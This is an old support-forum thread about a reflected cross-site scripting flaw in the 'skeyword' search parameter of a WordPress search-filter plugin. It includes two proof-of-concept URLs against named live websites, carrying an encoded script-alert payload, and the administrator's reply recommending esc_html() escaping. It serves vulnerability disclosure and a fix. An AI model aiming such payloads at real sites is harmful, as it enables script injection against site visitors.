Support Forum

Welcome Guest 

Show/Hide Header

Welcome Guest, posting in this forum requires registration.






NOTE : Due to personal issue, this Ultimate WP Query Search Filter Plugin is no longer under development. Thanks for the support over the years.

Anyone that come across this page that want to find a realible saerch plugin, here are the list of potential replacements.

Plugin author will no longer giving support here, however you can still asking for help from other users here.
Pages: [1]
Author Topic: XSS on parameter "skeyword"
nomanriffa-
t
Newbie
Posts: 1
Permalink
Post XSS on parameter "skeyword"
on: December 17, 2015, 01:24

There is a XSS on search form on parameter "skeyword"
I have checked it on latest version 1.0.10 and I am not sure about previous versions
You can see 2 demo URLs

http://www.azranchesandresorts.com/?unonce=asd&uformid=447&s=uwpsfsearchtrg&cmf0metakey=County&cmf0compare=7&cmf0value=uwpqsfcmfall&cmf1metakey=City&cmf1compare=7&cmf1value=uwpqsfcmfall&cmf2metakey=Type&cmf2compare=7&cmf2value=uwpqsfcmfall&cmf3metakey=Price&cmf3compare=11&cmf3value=uwpqsfcmfall&skeyword=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E

AND

http://www.offitkurman.com/?unonce=asd&uformid=6953&s=uwpsfsearchtrg&skeyword=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&taxo0name=practice_area_focus&taxo0opt=&taxo0term=%3Cscript%3Ealert%281%29%3C/script%3E&taxo1name=location2&taxo1opt=&taxo1term=virginia&cmf0metakey=title&cmf0compare=1&cmf0value=uwpqsfcmfall

tck30
Administrator
Posts: 530
Permalink
Post Re: XSS on parameter "skeyword"
on: December 18, 2015, 16:32

Actually when the skeyword will be sanitized during search. The problem is when you printing the search keyword on the search result page. The fix will be when you printing the search terms, you will have to sanitized it with esc_html(); eg

esc_html($_GET['skeyword']) 

or

esc_html( get_search_query( false ) ) ;

New Add-On Plugins for Ultimate WP Query Search Filter has been released! Check it out now.

Buy Me A Beer! Thanks

Pages: [1]